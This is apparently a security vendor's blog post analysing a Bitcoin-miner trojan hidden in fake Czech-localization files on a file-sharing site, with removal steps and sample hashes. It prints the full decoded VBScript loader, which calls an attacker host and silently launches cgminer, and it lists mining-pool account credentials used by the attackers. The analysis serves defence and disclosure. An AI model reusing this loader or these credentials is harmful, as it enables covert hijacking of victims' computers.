Today we are going to talk to those of you who use Bitcoin digital currency to pay for a variety of goods and services – along with a warning about yet another source of Bitcoin miners – the sharing services. You may think that if you avoid cracks and keygens while browsing the web you will be safe. Well, we would recommend that you reconsider that position. Recently we found that on the uloz.to file sharing service someone uploaded a lot of fake files containing Bitcoin miners!
Bitcoin Mining service
First a little background for the uninitiated: Bitcoins can be obtained by trading real currency, goods, or services with people who have them or alternatively, through mining. The mining process involves running software that performs complex math problems for which you’re rewarded a share of the income. There are a finite amount of Bitcoins to be had, and mining for them can be compared to extracting gold or diamonds from the earth. The more you get, the fewer there are to be had, so it becomes increasingly harder and more expensive. Here’s a descriptive article about mining.
Bitcoin mining services such as bitminter.com use shared computer resources of their users to mine new Bitcoins. In order to participate, the mining users have to create an account and then register their computers (workers) with the service. Then they simply run the Bitcoin miner program provided with their credentials on as many computers as they have. In the end, if they had enough computation power and time they might end up with a few Bitcoins.
It can be expected that some people will not be satisfied just using their own machines so they will try to use the computing power of unsuspecting victims. And that’s exactly what the authors of this malware are doing: They use hardware that does not belong them to generate more money.
It’s not a Bitcoin problem; it’s a people problem
We must stress that there’s nothing wrong with Bitcoin or its mining services. The problem is that some greedy people are misusing them.
Some of them can be seen on the following image. The word “cestina” means that the file should contain Czech localization of the referenced program. All of them contain a hidden feature, and sometimes the name is a complete fabrication. For example, The-Night-of-the-Rabbit-cestina.exe contains a crack for Call of Duty 4. Notice too, that all these files have an elevated popularity; no doubt a result of tampering. Some downloaders already suspect something fishy about these files.
Malware analysis
If you run the downloaded installer, new files will be created in “c:\windows\inf\“ directory. The first dropped file is ntvdm.inf which contains configuration information for the Bitcoin miner. The second file is named ntvdm.vbe and contains the miner’s start-up script encoded with Microsoft Script Encoder. Furthermore, there is a randomly-named directory created with miners binaries. Attackers use opensource cgminer which is available on GitHub.
Fortunately it was quite easy to decode the start-up script. With a little modification for better readability we got this result:
set shell=wScriPt.CreateObject("WScript.Shell"):
wIndowSdIr=sheLl.ExpaNdenVIronmentStrIngs("%windir%"):
hOmeDir=shell.expandEnvironmentstrings("%USERPROFILE%"):
WscrIpt.echo hoMedIr:
Set objFSO=CreateObject("Scripting.FileSystemObject"):
If objFSO.FIleexists(windowsdIr&"\system32\OpenCL.dll") Then
if Not oBjFSO.FilEExIsts(hOmedir&"\regbcm")THEn sEt objXmLhTTP=CreateObject("MSXML2.XMLHTTP"):
objxMLhTtP.open"GET","http://msdrv64.com/register_slave.php",false:
objXMLHttP.Send():
Set regFile=objFsO.CreaTeTextFile(homedIr&"\regbcm",TRue):
regFile.Close:
End if:
Set ObjwMIServiCe=GEtObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
sEt objstartup=oBjWMIServiCe.Get("Win32_ProcessStartup"):
SEt objConFig=ObjSTArtup.SpawnInstaNce_:
objConfiG.ShowWindOw=12:
Set objProcESs=GetObjEcT("winmgmts:root\cimv2:Win32_Process"):
Set objFSO=CreateObject("Scripting.FileSystemObject"):
SeT lisTfile=objFSo.OpeNTexTFilE("c:\windows\inf\ntvdm.inf"):
eXEcName=lIstFile.ReAdLine:
urL=lIstFIle.ReadLine:
login=listfile.ReAdLiNe:
PassWOrd=LisTFilE.ReaDLine:
path=winDowsdir&"\inf\"&execNAmE&"\"&exeCName&".exe -o "&url&" -u "&login&" -p "&passworD:
errReturN=ObjProcess.CrEate(path,null,oBjconFig,iNTProcessID):
End If
Notice the first condition which checks whether the OpenCL library is present on the system. This library is used for massively parallel computing by the miner (remember that mining Bitcoins is a very difficult computational problem and therefore requires parallelism). If the library is not found the miner will not start.
The following condition tests if the directory “%USERPROFILE%\regbcm” exists. If not the script contacts h**p://msdrv64.com/register_slave.php creates the conditional file which is probably working as a global mutex. This process seems to function as the infection counter since there is no downloaded data.
As the last step, the configuration information is read from “c:\windows\inf\ntvdm.inf” and miner is started. An interesting feature of this script is that it finally flashes a message box with path to “%USERPROFILE%”.
Removing the malware
If you have AVAST installed on your computer, it will automatically detect the malicious miner as VBS:FlufferMiner-A and delete it.
To manually remove all residues of this application just terminate “C:\Windows\System32\WScript.exe” and any executable running from “C:\Windows\Inf\” or a program having its parent “C:\Windows\Inf\ntvdm.vbe”. Then delete the entire directory mentioned in the first line of configuration file ntvdm.inf. Files “C:\Windows\Inf\ntvdm.vbe” and “C:\Windows\Inf\ntvdm.inf” delete as well.
Samples SHA256
Start-up script VBS:FlufferMiner-A:
8E45B5AA70466A8551D205A06EEEA8D872140CB2E429120E61D668091E887CEE
Installers:
34E9AF426A95E094B153A6D2A2924DC78C4287592D55D806502BB5F2D5FF7C8B
35EE9FFAF606EF8CC6220BDC7AB0F12A34711461AC49ECCA63E1BE00508DBBA3
546362F2C959CC530DC3B444D5E1FB3165D0EB280F7BC9122A4BE2F98DAEA9E8
55346DE3F225564D824CD94E17ECA0E19EA5004F06B48CE03C951AD064B6450E
6816B3AC4BAD529ADF6503B42E2B7E38F10C5EE56A4656CD3F1271E33C8E5304
90AD55C1DA4A4056F6E1B68A9B44B900E0D16E514038D8B4E632AB611182BAA2
A4A27FB19AF8405462D2A2897793C35ADA7A1ABFA2B39BE2BE017A5FAB34BD7F
B33866943B24B1251F0323535563AE8823EE93C0A4987F7040985C8D3B90434D
CC01E0C2BA218E8DC2B75991BA3F68A178D33DE0F58D5DBD803FDD53A742462D
EEB5F7405F6441AE1FD091769F8F99AE8DD1A2D6CDBB2D15BB60632B93714DA6
Misusing user accounts
user name worker name password frankfrank frankus frankus575 franzpat pateil patology humbo humbobo humbra icemann powerhw1 freaky kansasan kansasboy desertpete kuller5 kuller500 kulinaro mazdafan mazdahmm corvette pakostan pakostan01 shalala555 pollack smasher10 smogfog richierich richiebitch makemybuck simmoun fluffer fartbart sorrypal paypal payme stuczle passike matlar trinkrapek chuck01 pioneer123